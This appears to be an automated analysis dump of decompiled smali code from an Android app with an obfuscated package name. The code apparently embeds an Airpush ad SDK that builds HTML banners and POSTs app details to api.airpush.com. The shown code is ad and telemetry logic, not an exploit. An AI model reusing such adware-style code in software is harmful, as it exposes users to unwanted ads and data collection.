365invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
366move-result-object v1
368const-string v2, "; height: "
370invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ; height:
371move-result-object v1
372move/from16 v0, p3
374invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
375move-result-object v1
377const-string v2, ";\'><table><tr>"
379invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;\'><table><tr>
380move-result-object v1
382invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
383move-result-object v1
385invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
386new-instance v1, Ljava/lang/StringBuilder;
388invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
390const-string v2, "<td rowspan=\'2\' align=\'center\'><img alt=\'icon\' style=\'padding: 2\' src=\'"
392invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <td rowspan=\'2\' align=\'center\'><img alt=\'icon\' style=\'padding: 2\' src=\'
393move-result-object v1
395iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
397invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String;
398move-result-object v2
400invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
401move-result-object v1
403const-string v2, "\'></td>"
405invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'></td>
406move-result-object v1
408invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
409move-result-object v1
411invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
412new-instance v1, Ljava/lang/StringBuilder;
414invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
416const-string v2, "<td><font color=\'"
418invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <td><font color=\'
419move-result-object v1
421iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
423invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTextColor()Ljava/lang/String;
424move-result-object v2
426invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
427move-result-object v1
429const-string v2, "\'><b>"
431invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'><b>
432move-result-object v1
434iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
436invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTitle()Ljava/lang/String;
437move-result-object v2
439invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
440move-result-object v1
442const-string v2, "</b><br></font>"
444invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </b><br></font>
445move-result-object v1
447invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
448move-result-object v1
450invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
451new-instance v1, Ljava/lang/StringBuilder;
453invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
455const-string v2, "</td><tr><td><font size=2 color=\'"
457invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </td><tr><td><font size=2 color=\'
458move-result-object v1
460iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
462invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTextColor()Ljava/lang/String;
463move-result-object v2
465invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
466move-result-object v1
468const-string v2, "\'>"
470invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'>
471move-result-object v1
473iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
475invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getText()Ljava/lang/String;
476move-result-object v2
478invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
479move-result-object v1
481const-string v2, "</font></td></tr>"
483invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </font></td></tr>
484move-result-object v1
486invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
487move-result-object v1
489invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
491const-string v1, "</table></div></body></html>"
493invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </table></div></body></html>
494const/4 v2, 0x0
496invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
497move-result-object v3
499const-string v4, "text/html"
501const-string v5, "UTF-8"
502const/4 v6, 0x0
503move-object v1, p0
505invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
506goto/16 :goto_98
507cond_28b: new-instance v8, Ljava/lang/StringBuilder;
509invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
511const-string v1, "<html><head><style>* {margin:0;padding:0;}</style></head><body>"
513invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head><style>* {margin:0;padding:0;}</style></head><body>
514move-result-object v1
515new-instance v2, Ljava/lang/StringBuilder;
517invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
519const-string v3, "<img src=\""
521invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <img src=\"
522move-result-object v2
524iget-object v3, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
526invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String;
527move-result-object v3
529invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
530move-result-object v2
532const-string v3, "\" height=\""
534invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \" height=\"
535move-result-object v2
536move/from16 v0, p3
538invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
539move-result-object v2
541const-string v3, "\" width=\""
543invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \" width=\"
544move-result-object v2
546invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
547move-result-object v2
549const-string v3, "\"/>"
551invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \"/>
552move-result-object v2
554invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
555move-result-object v2
557invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
558move-result-object v1
560const-string v2, "</html></head>"
562invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </html></head>
563const/4 v2, 0x0
565invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
566move-result-object v3
568const-string v4, "text/html"
570const-string v5, "UTF-8"
571const/4 v6, 0x0
572move-object v1, p0
574invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
575try_end_2e2: goto/16 :goto_98
576catch_2e4: move-exception v1
577goto/16 :goto_6c
APIs
  • android.content.Context.getPackageManager
  • android.content.Context.getPackageName
  • android.content.pm.PackageManager.getPackageInfo
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.ArrayList.<init>
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • android.content.Context.getPackageName
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getApplicationLabel
  • java.lang.Object.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.client.methods.HttpPost.<init>
  • org.apache.http.client.entity.UrlEncodedFormEntity.<init>
  • org.apache.http.client.methods.HttpPost.setEntity
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.client.methods.HttpPost.setParams
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.client.HttpClient.execute
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.util.EntityUtils.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getReasonPhrase
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.content.pm.PackageManager$NameNotFoundException.printStackTrace
  • java.io.UnsupportedEncodingException.printStackTrace
  • org.apache.http.client.ClientProtocolException.printStackTrace
  • java.io.IOException.printStackTrace
  • java.lang.Exception.printStackTrace
Strings
  • appVersion
  • appId
  • errorCode
  • packageName
  • appName
  • AirplaySDK
  • Error values:
  • https://api.airpush.com/integrationerror/error.php
  • Status code:
  • Error sent:
  • Status Code:
  • , Reason:
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x0
2try_start_1:
3iget-object v11, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError;
5invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context;
6move-result-object v11
8invoke-virtual {v11}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
9move-result-object v11
11iget-object v12, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError;
13invoke-static {v12}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context;
14move-result-object v12
16invoke-virtual {v12}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
17move-result-object v12
18const/4 v13, 0x0
20invoke-virtual {v11, v12, v13}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
  • Data flow analysis:
    • flags: 0
21move-result-object v7
22new-instance v11, Ljava/lang/StringBuilder;
24invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
26const-string v12, ""
28invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v11
30iget v12, v7, Landroid/content/pm/PackageInfo;->versionCode:I
32invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
33move-result-object v11
35invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v10
37new-instance v6, Ljava/util/ArrayList;
39invoke-direct {v6}, Ljava/util/ArrayList;-><init>()V
40new-instance v11, Lorg/apache/http/message/BasicNameValuePair;
42const-string v12, "appVersion"
44invoke-direct {v11, v12, v10}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: appVersion
46invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
47new-instance v11, Lorg/apache/http/message/BasicNameValuePair;
49const-string v12, "appId"
51invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String;
52move-result-object v13
54invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: appId
56invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
57new-instance v11, Lorg/apache/http/message/BasicNameValuePair;
59const-string v12, "errorCode"
60new-instance v13, Ljava/lang/StringBuilder;
62invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
64const-string v14, ""
66invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
67move-result-object v13
68iget v14, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->val$code:I
70invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
71move-result-object v13
73invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v13
76invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: errorCode
78invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
79new-instance v11, Lorg/apache/http/message/BasicNameValuePair;
81const-string v12, "packageName"
83iget-object v13, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError;
85invoke-static {v13}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context;
86move-result-object v13
88invoke-virtual {v13}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
89move-result-object v13
91invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: packageName
93invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
95iget-object v11, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError;
97invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context;
98move-result-object v11
100invoke-virtual {v11}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
101move-result-object v11
103iget-object v12, v7, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
105invoke-virtual {v11, v12}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
106move-result-object v0
107new-instance v11, Lorg/apache/http/message/BasicNameValuePair;
109const-string v12, "appName"
111invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
112move-result-object v13
114invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: appName
116invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
118const-string v11, "AirplaySDK"
119new-instance v12, Ljava/lang/StringBuilder;
121invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
123const-string v13, "Error values: "
125invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error values:
126move-result-object v12
128invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
129move-result-object v12
131invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
132move-result-object v12
134invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
135new-instance v5, Lorg/apache/http/impl/client/DefaultHttpClient;
137invoke-direct {v5}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
138new-instance v4, Lorg/apache/http/client/methods/HttpPost;
140const-string v11, "https://api.airpush.com/integrationerror/error.php"
142invoke-direct {v4, v11}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: https://api.airpush.com/integrationerror/error.php
143new-instance v11, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
145invoke-direct {v11, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;)V
147invoke-virtual {v4, v11}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
148new-instance v1, Lorg/apache/http/params/BasicHttpParams;
150invoke-direct {v1}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
152invoke-virtual {v4, v1}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V
153const/16 v11, 0x1b58
155invoke-static {v1, v11}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 7000
156const/16 v11, 0x1b58
158invoke-static {v1, v11}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 7000
160invoke-interface {v5, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
161move-result-object v8
162if-nez v8, :cond_11e
163goto_e1:
164const-string v11, "AirplaySDK"
165new-instance v12, Ljava/lang/StringBuilder;
167invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
169const-string v13, "Status code: "
171invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status code:
172move-result-object v12
174invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 0
175move-result-object v12
177invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
178move-result-object v12
180invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
181const/16 v11, 0xc8
182if-ne v2, v11, :cond_127
184invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
185move-result-object v11
187invoke-static {v11}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
188move-result-object v9
190const-string v11, "AirplaySDK"
191new-instance v12, Ljava/lang/StringBuilder;
193invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
195const-string v13, "Error sent: "
197invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error sent:
198move-result-object v12
200invoke-virtual {v12, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
201move-result-object v12
203invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
204move-result-object v12
206invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
207goto_11d: return-void
208cond_11e:
209invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
210move-result-object v11
212invoke-interface {v11}, Lorg/apache/http/StatusLine;->getStatusCode()I
213move-result v2
214goto/16 :goto_e1
215cond_127:
216const-string v11, "AirplaySDK"
217new-instance v12, Ljava/lang/StringBuilder;
219invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
221const-string v13, "Status Code: "
223invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status Code:
224move-result-object v12
226invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
227move-result-object v12
229const-string v13, ", Reason: "
231invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: , Reason:
232move-result-object v12
234invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
235move-result-object v13
237invoke-interface {v13}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String;
238move-result-object v13
240invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
241move-result-object v12
243invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
244move-result-object v12
246invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
247try_end_151: goto/16 :goto_11d
248catch_152: move-exception v3
250invoke-virtual {v3}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
251goto/16 :goto_11d
252catch_157: move-exception v3
254invoke-virtual {v3}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
255goto/16 :goto_11d
256catch_15c: move-exception v3
258invoke-virtual {v3}, Lorg/apache/http/client/ClientProtocolException;->printStackTrace()V
259goto/16 :goto_11d
260catch_161: move-exception v3
262invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
263goto/16 :goto_11d
264catch_166: move-exception v3
266invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
267goto/16 :goto_11d
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Object.wait
  • java.util.List.addAll
  • org.apache.http.client.methods.HttpPost.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.client.entity.UrlEncodedFormEntity.<init>
  • org.apache.http.client.methods.HttpPost.setEntity
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.impl.client.DefaultHttpClient.addRequestInterceptor
  • org.apache.http.impl.client.DefaultHttpClient.addResponseInterceptor
  • org.apache.http.impl.client.DefaultHttpClient.execute
  • org.apache.http.message.BasicHttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.apache.http.message.BasicHttpResponse.getEntity
  • org.apache.http.util.EntityUtils.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.InterruptedException.printStackTrace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • org.apache.http.message.BasicHttpResponse.getStatusLine
  • org.apache.http.StatusLine.getReasonPhrase
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.net.SocketTimeoutException.toString
  • android.util.Log.d
  • org.apache.http.client.ClientProtocolException.toString
  • android.util.Log.d
  • java.net.MalformedURLException.toString
  • android.util.Log.d
  • javax.net.ssl.SSLPeerUnverifiedException.getMessage
  • android.util.Log.d
  • java.io.IOException.toString
  • android.util.Log.d
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • Thread is waiting for
  • ms.
  • Values:
  • AirplaySDK
  • Status Code:
  • Response String:
  • HTTP response reason:
  • SocketTimeoutException Thrown
  • ClientProtocolException Thrown
  • MalformedURLException Thrown
  • SSL Exception:
  • IOException Thrown
  • Exception Thrown:
Position Instruction Meta Information
0.prologue
1monitor-enter p0
2try_start_1: iget-wide v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J
3try_end_3: const-wide/16 v12, 0x0
4cmp-long v10, v10, v12
5if-eqz v10, :cond_2c
6try_start_9: new-instance v10, Ljava/lang/StringBuilder;
8invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
10const-string v11, "Thread is waiting for "
12invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Thread is waiting for
13move-result-object v10
14iget-wide v12, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J
16invoke-virtual {v10, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
17move-result-object v10
19const-string v11, " ms."
21invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ms.
22move-result-object v10
24invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
25move-result-object v10
27invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
28iget-wide v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J
30invoke-virtual {p0, v10, v11}, Ljava/lang/Object;->wait(J)V
  • Data flow analysis:
    • p1: ms.
31try_end_2c:
32iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context;
34invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
35try_end_31: move-result v10
36if-eqz v10, :cond_112
37try_start_34: iget-boolean v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->isAddvalues:Z
38if-eqz v10, :cond_43
40iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List;
42iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context;
44invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List;
45move-result-object v11
47invoke-interface {v10, v11}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
48cond_43: new-instance v4, Lorg/apache/http/client/methods/HttpPost;
50iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->url:Ljava/lang/String;
52invoke-direct {v4, v10}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
53new-instance v10, Ljava/lang/StringBuilder;
55invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
57const-string v11, "Values: "
